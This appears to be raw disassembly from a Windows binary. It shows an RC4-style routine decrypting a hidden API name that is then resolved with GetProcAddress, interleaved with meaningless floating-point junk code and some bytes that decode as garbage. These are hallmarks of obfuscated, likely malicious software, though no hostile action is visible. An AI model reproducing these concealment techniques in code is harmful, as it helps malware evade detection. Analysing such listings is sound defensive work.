movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x325b]
shl ecx, 0
lea esi, [ebp - 0x1a18]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x1a18]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3294]
shl ecx, 0
lea eax, [ebp - 0x1a18]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x32d8]
shl eax, 0
lea esi, [ebp - 0x1a18]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x332f]
shl eax, 0
lea esi, [ebp - 0x1a18]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x1a18]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x1a18]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3294], dl
mov dl, byte [ebp - 0x3338]
mov byte [ebp - 0x32d8], dl
mov al, byte [ebp - 0x3294]
mov byte [ebp - 0x345c], al
cmp dword [ebp - 0x33c8], 0
jbe 0x49055c
mov ecx, dword [ebp - 0x33c8]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x3c0]
mov al, byte [ebp - 0x345c]
mov byte [ecx + edx], al
jmp 0x49028b
mov ecx, dword [ebp - 0x3750]
add ecx, 1
mov dword [ebp - 0x3750], ecx
mov edx, dword [ebp - 0x33c8]
add edx, 1
mov dword [ebp - 0x33c8], edx
mov eax, dword [ebp - 0x3750]
add eax, 1
mov dword [ebp - 0x3750], eax
mov ecx, dword [ebp - 0x33c8]
shl ecx, 1
mov dword [ebp - 0x3e34], ecx
mov edx, dword [ebp - 0x3e34]
shl edx, 0
add edx, dword [ebp - 0x3f64]
movzx eax, byte [edx]
mov dword [ebp - 0x3cc8], eax
mov dword [ebp - 0x3ccc], 0x7c
mov ecx, dword [ebp - 0x33c8]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3e38], ecx
mov edx, dword [ebp - 0x3e38]
shl edx, 0
add edx, dword [ebp - 0x3f64]
movzx eax, byte [edx]
mov dword [ebp - 0x3cd0], eax
mov dword [ebp - 0x3cd4], 0x3d
mov ecx, dword [ebp - 0x3cc8]
sub ecx, dword [ebp - 0x3ccc]
mov dword [ebp - 0x3cd8], ecx
mov edx, dword [ebp - 0x3cd0]
sub edx, dword [ebp - 0x3cd4]
mov dword [ebp - 0x3cdc], edx
mov eax, dword [ebp - 0x3cd8]
shl eax, 4
mov dword [ebp - 0x3e3c], eax
mov ecx, dword [ebp - 0x3cdc]
mov dword [ebp - 0x3e40], ecx
mov edx, dword [ebp - 0x3e3c]
or edx, dword [ebp - 0x3e40]
mov dword [ebp - 0x3e44], edx
mov al, byte [ebp - 0x3e44]
mov byte [ebp - 0x3338], al
movzx ecx, byte [ebp - 0x32d8]
shl ecx, 0
lea edx, [ebp - 0x1a18]
mov al, byte [ecx + edx]
mov byte [ebp - 0x332e], al
movzx ecx, byte [ebp - 0x325b]
shl ecx, 0
lea edx, [ebp - 0x1a18]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3293]
add ecx, eax
mov byte [ebp - 0x3293], cl
mov dl, byte [ebp - 0x325b]
add dl, 1
mov byte [ebp - 0x325b], dl
movzx eax, byte [ebp - 0x3293]
shl eax, 0
lea ecx, [ebp - 0x1a18]
movzx edx, byte [ebp - 0x32d8]
shl edx, 0
lea esi, [ebp - 0x1a18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3294]
shl ecx, 0
lea edx, [ebp - 0x1a18]
movzx eax, byte [ebp - 0x3293]
shl eax, 0
lea esi, [ebp - 0x1a18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x325b]
shl edx, 0
lea eax, [ebp - 0x1a18]
movzx ecx, byte [ebp - 0x3294]
shl ecx, 0
lea esi, [ebp - 0x1a18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x325b]
shl eax, 0
lea ecx, [ebp - 0x1a18]
mov dl, byte [ebp - 0x332e]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x332e]
shl eax, 0
lea ecx, [ebp - 0x1a18]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x332f]
add eax, edx
mov byte [ebp - 0x332f], al
movzx ecx, byte [ebp - 0x3338]
movzx edx, byte [ebp - 0x3293]
shl edx, 0
lea eax, [ebp - 0x1a18]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x325b]
shl eax, 0
lea esi, [ebp - 0x1a18]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x1a18]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x3294]
shl eax, 0
lea edx, [ebp - 0x1a18]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x32d8]
shl edx, 0
lea esi, [ebp - 0x1a18]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x332f]
shl edx, 0
lea esi, [ebp - 0x1a18]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x1a18]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x1a18]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x3294], cl
mov cl, byte [ebp - 0x3338]
mov byte [ebp - 0x32d8], cl
mov dl, byte [ebp - 0x3294]
mov byte [ebp - 0x345c], dl
cmp dword [ebp - 0x33c8], 0
jbe 0x490830
mov eax, dword [ebp - 0x33c8]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x3c0]
mov dl, byte [ebp - 0x345c]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x33c8]
add eax, 1
mov dword [ebp - 0x33c8], eax
mov ecx, dword [ebp - 0x3750]
add ecx, 1
mov dword [ebp - 0x3750], ecx
mov edx, dword [ebp - 0x33c8]
shl edx, 1
mov dword [ebp - 0x3e34], edx
mov eax, dword [ebp - 0x3e34]
shl eax, 0
add eax, dword [ebp - 0x3f64]
movzx ecx, byte [eax]
mov dword [ebp - 0x3cc8], ecx
mov dword [ebp - 0x3ccc], 0x7c
mov edx, dword [ebp - 0x33c8]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3e38], edx
movss xmm0, dword [0x9d57e4]
movss dword [ebp - 0x4d7c], xmm0
movss xmm0, dword [0x9d56b0]
movss dword [ebp - 0x445c], xmm0
movss xmm0, dword [0x9d544c]
movss dword [ebp - 0x4d78], xmm0
movss xmm0, dword [0x9d51d0]
movss dword [ebp - 0x4080], xmm0
movss xmm0, dword [ebp - 0x4d78]
mulss xmm0, dword [ebp - 0x4080]
movss dword [ebp - 0x4d78], xmm0
movss xmm0, dword [ebp - 0x445c]
subss xmm0, dword [ebp - 0x4080]
movss dword [ebp - 0x445c], xmm0
movss xmm0, dword [ebp - 0x4d7c]
addss xmm0, dword [ebp - 0x4080]
movss dword [ebp - 0x4d7c], xmm0
movss xmm0, dword [ebp - 0x445c]
addss xmm0, dword [ebp - 0x4080]
movss dword [ebp - 0x445c], xmm0
movss xmm0, dword [ebp - 0x4080]
comiss xmm0, dword [ebp - 0x4d78]
jbe 0x4909a2
movss xmm0, dword [ebp - 0x4d7c]
addss xmm0, dword [ebp - 0x4d78]
movss dword [ebp - 0x4d7c], xmm0
movss xmm0, dword [ebp - 0x4080]
mulss xmm0, dword [ebp - 0x445c]
movss dword [ebp - 0x4080], xmm0
movss xmm0, dword [ebp - 0x4080]
subss xmm0, dword [ebp - 0x445c]
movss dword [ebp - 0x4080], xmm0
movss xmm0, dword [ebp - 0x445c]
divss xmm0, dword [ebp - 0x4080]
movss dword [ebp - 0x445c], xmm0
jmp 0x490a1a
movss xmm0, dword [ebp - 0x4d78]
addss xmm0, dword [ebp - 0x4080]
movss dword [ebp - 0x4d78], xmm0
mov eax, dword [ebp - 0x3e38]
shl eax, 0
add eax, dword [ebp - 0x3f64]
movzx ecx, byte [eax]
mov dword [ebp - 0x3cd0], ecx
movss xmm0, dword [ebp - 0x4d7c]
addss xmm0, dword [ebp - 0x445c]
movss dword [ebp - 0x4d7c], xmm0
movss xmm0, dword [ebp - 0x445c]
subss xmm0, dword [ebp - 0x4d78]
movss dword [ebp - 0x445c], xmm0
movss xmm0, dword [ebp - 0x4080]
subss xmm0, dword [ebp - 0x4d7c]
movss dword [ebp - 0x4080], xmm0
mov dword [ebp - 0x3cd4], 0x3d
mov edx, dword [ebp - 0x3cc8]
sub edx, dword [ebp - 0x3ccc]
mov dword [ebp - 0x3cd8], edx
mov eax, dword [ebp - 0x3cd0]
sub eax, dword [ebp - 0x3cd4]
mov dword [ebp - 0x3cdc], eax
mov ecx, dword [ebp - 0x3cd8]
shl ecx, 4
mov dword [ebp - 0x3e3c], ecx
mov edx, dword [ebp - 0x3cdc]
mov dword [ebp - 0x3e40], edx
mov eax, dword [ebp - 0x3e3c]
or eax, dword [ebp - 0x3e40]
mov dword [ebp - 0x3e44], eax
mov cl, byte [ebp - 0x3e44]
mov byte [ebp - 0x3338], cl
movzx edx, byte [ebp - 0x32d8]
shl edx, 0
lea eax, [ebp - 0x1a18]
mov cl, byte [edx + eax]
mov byte [ebp - 0x332e], cl
movzx edx, byte [ebp - 0x325b]
shl edx, 0
lea eax, [ebp - 0x1a18]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3293]
add edx, ecx
mov byte [ebp - 0x3293], dl
mov al, byte [ebp - 0x325b]
add al, 1
mov byte [ebp - 0x325b], al
movzx ecx, byte [ebp - 0x3293]
shl ecx, 0
lea edx, [ebp - 0x1a18]
movzx eax, byte [ebp - 0x32d8]
shl eax, 0
lea esi, [ebp - 0x1a18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3294]
shl edx, 0
lea eax, [ebp - 0x1a18]
movzx ecx, byte [ebp - 0x3293]
shl ecx, 0
lea esi, [ebp - 0x1a18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x325b]
shl eax, 0
lea ecx, [ebp - 0x1a18]
movzx edx, byte [ebp - 0x3294]
shl edx, 0
lea esi, [ebp - 0x1a18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x325b]
shl ecx, 0
lea edx, [ebp - 0x1a18]
mov al, byte [ebp - 0x332e]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x332e]
shl ecx, 0
lea edx, [ebp - 0x1a18]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x332f]
add ecx, eax
mov byte [ebp - 0x332f], cl
movzx edx, byte [ebp - 0x3338]
movzx eax, byte [ebp - 0x3293]
shl eax, 0
lea ecx, [ebp - 0x1a18]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x325b]
shl ecx, 0
lea esi, [ebp - 0x1a18]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x1a18]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3294]
shl ecx, 0
lea eax, [ebp - 0x1a18]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x32d8]
shl eax, 0
lea esi, [ebp - 0x1a18]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x332f]
shl eax, 0
lea esi, [ebp - 0x1a18]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x1a18]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x1a18]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3294], dl
mov dl, byte [ebp - 0x3338]
mov byte [ebp - 0x32d8], dl
mov al, byte [ebp - 0x3294]
mov byte [ebp - 0x345c], al
cmp dword [ebp - 0x33c8], 0
jbe 0x490c62
mov ecx, dword [ebp - 0x33c8]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x3c0]
mov al, byte [ebp - 0x345c]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x33c8]
add ecx, 1
mov dword [ebp - 0x33c8], ecx
mov edx, dword [ebp - 0x3750]
add edx, 1
mov dword [ebp - 0x3750], edx
mov eax, dword [ebp - 0x33c8]
shl eax, 1
mov dword [ebp - 0x3e34], eax
mov ecx, dword [ebp - 0x3e34]
shl ecx, 0
add ecx, dword [ebp - 0x3f64]
movzx edx, byte [ecx]
mov dword [ebp - 0x3cc8], edx
mov dword [ebp - 0x3ccc], 0x7c
mov eax, dword [ebp - 0x33c8]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3e38], eax
mov ecx, dword [ebp - 0x3e38]
shl ecx, 0
add ecx, dword [ebp - 0x3f64]
movzx edx, byte [ecx]
mov dword [ebp - 0x3cd0], edx
mov dword [ebp - 0x3cd4], 0x3d
mov eax, dword [ebp - 0x3cc8]
sub eax, dword [ebp - 0x3ccc]
mov dword [ebp - 0x3cd8], eax
mov ecx, dword [ebp - 0x3cd0]
sub ecx, dword [ebp - 0x3cd4]
mov dword [ebp - 0x3cdc], ecx
mov edx, dword [ebp - 0x3cd8]
shl edx, 4
mov dword [ebp - 0x3e3c], edx
mov eax, dword [ebp - 0x3cdc]
mov dword [ebp - 0x3e40], eax
mov ecx, dword [ebp - 0x3e3c]
or ecx, dword [ebp - 0x3e40]
mov dword [ebp - 0x3e44], ecx
mov dl, byte [ebp - 0x3e44]
mov byte [ebp - 0x3338], dl
movzx eax, byte [ebp - 0x32d8]
shl eax, 0
lea ecx, [ebp - 0x1a18]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x332e], dl
movzx eax, byte [ebp - 0x325b]
shl eax, 0
lea ecx, [ebp - 0x1a18]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3293]
add eax, edx
mov byte [ebp - 0x3293], al
mov cl, byte [ebp - 0x325b]
add cl, 1
mov byte [ebp - 0x325b], cl
movzx edx, byte [ebp - 0x3293]
shl edx, 0
lea eax, [ebp - 0x1a18]
movzx ecx, byte [ebp - 0x32d8]
shl ecx, 0
lea esi, [ebp - 0x1a18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movss xmm0, dword [0x9d5764]
movss dword [ebp - 0x34c8], xmm0
movss xmm0, dword [0x9d55bc]
movss dword [ebp - 0x3cc4], xmm0
movss xmm0, dword [0x9d5394]
movss dword [ebp - 0x3f60], xmm0
movss xmm0, dword [0x9d516c]
movss dword [ebp - 0x39f8], xmm0
movss xmm0, dword [ebp - 0x34c8]
addss xmm0, dword [ebp - 0x39f8]
movss dword [ebp - 0x34c8], xmm0
movss xmm0, dword [ebp - 0x34c8]
subss xmm0, dword [ebp - 0x39f8]
movss dword [ebp - 0x34c8], xmm0
movss xmm0, dword [ebp - 0x34c8]
mulss xmm0, dword [ebp - 0x39f8]
movss dword [ebp - 0x34c8], xmm0
movss xmm0, dword [ebp - 0x3cc4]
mulss xmm0, dword [ebp - 0x39f8]
movss dword [ebp - 0x3cc4], xmm0
movss xmm0, dword [ebp - 0x39f8]
comiss xmm0, dword [ebp - 0x34c8]
jbe 0x490ffe
movss xmm0, dword [ebp - 0x34c8]
addss xmm0, dword [ebp - 0x3cc4]
movss dword [ebp - 0x34c8], xmm0
movss xmm0, dword [ebp - 0x34c8]
mulss xmm0, dword [ebp - 0x3cc4]
movss dword [ebp - 0x34c8], xmm0
movss xmm0, dword [ebp - 0x39f8]
subss xmm0, dword [ebp - 0x34c8]
movss dword [ebp - 0x39f8], xmm0
movss xmm0, dword [ebp - 0x34c8]
divss xmm0, dword [ebp - 0x3cc4]
movss dword [ebp - 0x34c8], xmm0
movss xmm0, dword [ebp - 0x3f60]
mulss xmm0, dword [ebp - 0x39f8]
movss dword [ebp - 0x3f60], xmm0
movss xmm0, dword [ebp - 0x34c8]
divss xmm0, dword [ebp - 0x3cc4]
movss dword [ebp - 0x34c8], xmm0
movss xmm0, dword [ebp - 0x3f60]
divss xmm0, dword [ebp - 0x39f8]
movss dword [ebp - 0x3f60], xmm0
movss xmm0, dword [ebp - 0x3cc4]
divss xmm0, dword [ebp - 0x3f60]
movss dword [ebp - 0x3cc4], xmm0
movss xmm0, dword [ebp - 0x39f8]
comiss xmm0, dword [ebp - 0x3cc4]
jbe 0x490f99
movss xmm0, dword [ebp - 0x3f60]
mulss xmm0, dword [ebp - 0x34c8]
movss dword [ebp - 0x3f60], xmm0
movss xmm0, dword [ebp - 0x34c8]
divss xmm0, dword [ebp - 0x3f60]
movss dword [ebp - 0x34c8], xmm0
movss xmm0, dword [ebp - 0x39f8]
addss xmm0, dword [ebp - 0x3cc4]
movss dword [ebp - 0x39f8], xmm0
movss xmm0, dword [ebp - 0x3f60]
subss xmm0, dword [ebp - 0x34c8]
movss dword [ebp - 0x3f60], xmm0
jmp 0x490ff9
movss xmm0, dword [ebp - 0x39f8]
divss xmm0, dword [ebp - 0x3cc4]
movss dword [ebp - 0x39f8], xmm0
movss xmm0, dword [ebp - 0x3cc4]
divss xmm0, dword [ebp - 0x39f8]
movss dword [ebp - 0x3cc4], xmm0
movss xmm0, dword [ebp - 0x34c8]
subss xmm0, dword [ebp - 0x3f60]
movss dword [ebp - 0x34c8], xmm0
movss xmm0, dword [ebp - 0x34c8]
divss xmm0, dword [ebp - 0x3f60]
movss dword [ebp - 0x34c8], xmm0
jmp 0x491084
movss xmm0, dword [ebp - 0x39f8]
addss xmm0, dword [ebp - 0x3cc4]
movss dword [ebp - 0x39f8], xmm0
movzx eax, byte [ebp - 0x3294]
shl eax, 0
lea ecx, [ebp - 0x1a18]
movzx edx, byte [ebp - 0x3293]
shl edx, 0
lea esi, [ebp - 0x1a18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movss xmm0, dword [ebp - 0x34c8]
subss xmm0, dword [ebp - 0x3f60]
movss dword [ebp - 0x34c8], xmm0
movss xmm0, dword [ebp - 0x34c8]
mulss xmm0, dword [ebp - 0x3f60]
movss dword [ebp - 0x34c8], xmm0
movss xmm0, dword [ebp - 0x3cc4]
addss xmm0, dword [ebp - 0x39f8]
movss dword [ebp - 0x3cc4], xmm0
movzx ecx, byte [ebp - 0x325b]
shl ecx, 0
lea edx, [ebp - 0x1a18]
movzx eax, byte [ebp - 0x3294]
shl eax, 0
lea esi, [ebp - 0x1a18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x325b]
shl edx, 0
lea eax, [ebp - 0x1a18]
mov cl, byte [ebp - 0x332e]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x332e]
shl edx, 0
lea eax, [ebp - 0x1a18]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x332f]
add edx, ecx
mov byte [ebp - 0x332f], dl
movzx eax, byte [ebp - 0x3338]
movzx ecx, byte [ebp - 0x3293]
shl ecx, 0
lea edx, [ebp - 0x1a18]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x325b]
shl edx, 0
lea esi, [ebp - 0x1a18]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x1a18]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3294]
shl edx, 0
lea ecx, [ebp - 0x1a18]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x32d8]
shl ecx, 0
lea esi, [ebp - 0x1a18]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x332f]
shl ecx, 0
lea esi, [ebp - 0x1a18]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x1a18]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x1a18]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3294], al
mov al, byte [ebp - 0x3338]
mov byte [ebp - 0x32d8], al
mov cl, byte [ebp - 0x3294]
mov byte [ebp - 0x345c], cl
cmp dword [ebp - 0x33c8], 0
jbe 0x4911d0
mov edx, dword [ebp - 0x33c8]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x3c0]
mov cl, byte [ebp - 0x345c]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x33c8]
add edx, 1
mov dword [ebp - 0x33c8], edx
mov eax, dword [ebp - 0x3750]
add eax, 1
mov dword [ebp - 0x3750], eax
mov ecx, dword [ebp - 0x33c8]
shl ecx, 1
mov dword [ebp - 0x3e34], ecx
mov edx, dword [ebp - 0x3e34]
shl edx, 0
add edx, dword [ebp - 0x3f64]
movzx eax, byte [edx]
mov dword [ebp - 0x3cc8], eax
mov dword [ebp - 0x3ccc], 0x7c
mov ecx, dword [ebp - 0x33c8]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3e38], ecx
mov edx, dword [ebp - 0x3e38]
shl edx, 0
add edx, dword [ebp - 0x3f64]
movzx eax, byte [edx]
mov dword [ebp - 0x3cd0], eax
mov dword [ebp - 0x3cd4], 0x3d
mov ecx, dword [ebp - 0x3cc8]
sub ecx, dword [ebp - 0x3ccc]
mov dword [ebp - 0x3cd8], ecx
mov edx, dword [ebp - 0x3cd0]
sub edx, dword [ebp - 0x3cd4]
mov dword [ebp - 0x3cdc], edx
mov eax, dword [ebp - 0x3cd8]
shl eax, 4
mov dword [ebp - 0x3e3c], eax
mov ecx, dword [ebp - 0x3cdc]
mov dword [ebp - 0x3e40], ecx
mov edx, dword [ebp - 0x3e3c]
or edx, dword [ebp - 0x3e40]
mov dword [ebp - 0x3e44], edx
mov al, byte [ebp - 0x3e44]
mov byte [ebp - 0x3338], al
movzx ecx, byte [ebp - 0x32d8]
shl ecx, 0
lea edx, [ebp - 0x1a18]
mov al, byte [ecx + edx]
mov byte [ebp - 0x332e], al
movzx ecx, byte [ebp - 0x325b]
shl ecx, 0
lea edx, [ebp - 0x1a18]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3293]
add ecx, eax
mov byte [ebp - 0x3293], cl
mov dl, byte [ebp - 0x325b]
add dl, 1
mov byte [ebp - 0x325b], dl
movzx eax, byte [ebp - 0x3293]
shl eax, 0
lea ecx, [ebp - 0x1a18]
movzx edx, byte [ebp - 0x32d8]
shl edx, 0
lea esi, [ebp - 0x1a18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3294]
shl ecx, 0
lea edx, [ebp - 0x1a18]
movzx eax, byte [ebp - 0x3293]
shl eax, 0
lea esi, [ebp - 0x1a18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x325b]
shl edx, 0
lea eax, [ebp - 0x1a18]
movzx ecx, byte [ebp - 0x3294]
shl ecx, 0
lea esi, [ebp - 0x1a18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x325b]
shl eax, 0
lea ecx, [ebp - 0x1a18]
mov dl, byte [ebp - 0x332e]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x332e]
shl eax, 0
lea ecx, [ebp - 0x1a18]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x332f]
add eax, edx
mov byte [ebp - 0x332f], al
movzx ecx, byte [ebp - 0x3338]
movzx edx, byte [ebp - 0x3293]
shl edx, 0
lea eax, [ebp - 0x1a18]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x325b]
shl eax, 0
lea esi, [ebp - 0x1a18]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x1a18]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x3294]
shl eax, 0
lea edx, [ebp - 0x1a18]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x32d8]
shl edx, 0
lea esi, [ebp - 0x1a18]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x332f]
shl edx, 0
lea esi, [ebp - 0x1a18]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x1a18]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x1a18]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x3294], cl
mov cl, byte [ebp - 0x3338]
mov byte [ebp - 0x32d8], cl
mov dl, byte [ebp - 0x3294]
mov byte [ebp - 0x345c], dl
cmp dword [ebp - 0x33c8], 0
jbe 0x491490
mov eax, dword [ebp - 0x33c8]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x3c0]
mov dl, byte [ebp - 0x345c]
mov byte [eax + ecx], dl
mov eax, 1
imul ecx, eax, 0xb
mov dword [ebp - 0x5d98], ecx
cmp dword [ebp - 0x5d98], 0xc
jae 0x4914a9
jmp 0x4914ae
call fcn.009b1617
lea edx, [ebp - 0x3c0]
add edx, dword [ebp - 0x5d98]
mov byte [edx], 0
jmp 0x491510
mov dword [ebp - 0x33c8], 0
jmp 0x4914da
mov eax, dword [ebp - 0x33c8]
add eax, 1
mov dword [ebp - 0x33c8], eax
cmp dword [ebp - 0x33c8], 0xc
jae 0x491510
mov ecx, dword [ebp - 0x33c8]
mov dword [ebp - 0x5d94], ecx
cmp dword [ebp - 0x5d94], 0xc
jae 0x4914fa
jmp 0x4914ff
call fcn.009b1617
lea edx, [ebp - 0x3c0]
add edx, dword [ebp - 0x5d94]
mov byte [edx], 0
jmp 0x4914cb
lea eax, [ebp - 0x3c0]
push eax
mov ecx, dword [ebp - 0x348c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0xa00bb0], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x53bc], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5154], xmm0
mov dword [ebp - 0x33b0], 0
mov dword [ebp - 0x4ad4], 0
mov dword [ebp - 0x5854], 0
mov dword [ebp - 0x5604], 1
mov dword [ebp - 0x4680], 0
mov dword [ebp - 0x5b48], 0
mov dword [ebp - 0x35e4], 0
mov dword [ebp - 0x3a90], 0
mov dword [ebp - 0x39f4], 0
mov dword [ebp - 0x39f0], 0
mov dword [ebp - 0x3a94], 0
mov dword [ebp - 0x39e8], 0
mov dword [ebp - 0x3a38], 0
mov dword [ebp - 0x39e4], 0
mov dword [ebp - 0x39e0], 0
mov dword [ebp - 0x3a98], 0
mov dword [ebp - 0x3a9c], 0
mov dword [ebp - 0x3aa0], 0
mov dword [ebp - 0x4ad0], 0
mov byte [ebp - 0x3248], 0
mov byte [ebp - 0x3275], 0
mov byte [ebp - 0x330f], 0
mov byte [ebp - 0x3267], 0
mov byte [ebp - 0x32a5], 0
mov byte [ebp - 0x340f], 0
mov byte [ebp - 0x3da2], 0
mov byte [ebp - 0x3312], 0
mov byte [ebp - 0x330e], 0
mov byte [ebp - 0x33fa], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x53bc], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5154], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5154], xmm0
jmp 0x49167e
movsd xmm0, qword [ebp - 0x5154]
addsd xmm0, qword [0x9d3058]
movsd qword [ebp - 0x5154], xmm0
movsd xmm0, qword [0x9d4f98]
comisd xmm0, xmmword [ebp - 0x5154]
jbe 0x49172f
movsd xmm0, qword [0x9d3e68]
mulsd xmm0, qword [ebp - 0x5154]
mulsd xmm0, qword [ebp - 0x5154]
movsd xmm1, qword [ebp - 0x5154]
mulsd xmm1, qword [ebp - 0x5154]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d3a28]
mulsd xmm1, qword [ebp - 0x5154]
mulsd xmm1, qword [ebp - 0x5154]
addsd xmm1, qword [0x9d3ad8]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x53bc]
movsd qword [ebp - 0x53bc], xmm0
movsd xmm0, qword [ebp - 0x53bc]
comisd xmm0, xmmword [0x9d3c50]
jbe 0x49172a
movsd xmm0, qword [0x9d3888]
mulsd xmm0, qword [ebp - 0x5154]
movsd xmm1, qword [ebp - 0x53bc]
subsd xmm1, xmm0
movsd qword [ebp - 0x53bc], xmm1
jmp 0x491666
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x53bc]
jbe 0x491765
imul esp, dword [ecx], 0x5e
xor al, 0x23
jo 0x491787
bound esp, qword [eax]
dec edi
cmp ebp, dword [ebp + 0x45]
sub eax, 0xb6ebb16a
jmp 0xf309010b
mov dword [ebp - 0x617c], 0x49174c
mov dword [ebp - 0x6178], 0x49173c
mov edx, dword [ebp - 0x617c]
mov dword [ebp - 0x3ce0], edx
mov eax, dword [ebp - 0x6178]
mov dword [ebp - 0x6174], eax
mov byte [ebp - 0x3da2], 0x14
mov dword [ebp - 0x33b0], 0
mov dword [ebp - 0x4ad4], 0
mov dword [ebp - 0x33b0], 0
jmp 0x4917c7
mov byte [esi - 0x7a760001], bl
mov word [esi - 0x7a390001], ds
pop esi
ret 0xffff
mov ecx, dword [ebp - 0x33b0]
add ecx, 1
mov dword [ebp - 0x33b0], ecx
cmp dword [ebp - 0x33b0], 0x100
jae 0x4917ed
mov edx, dword [ebp - 0x33b0]
shl edx, 0
lea eax, [ebp - 0x14d0]
mov cl, byte [ebp - 0x33b0]
mov byte [edx + eax], cl
jmp 0x4917b8
mov dword [ebp - 0x4ad4], 0
mov byte [ebp - 0x340f], 0
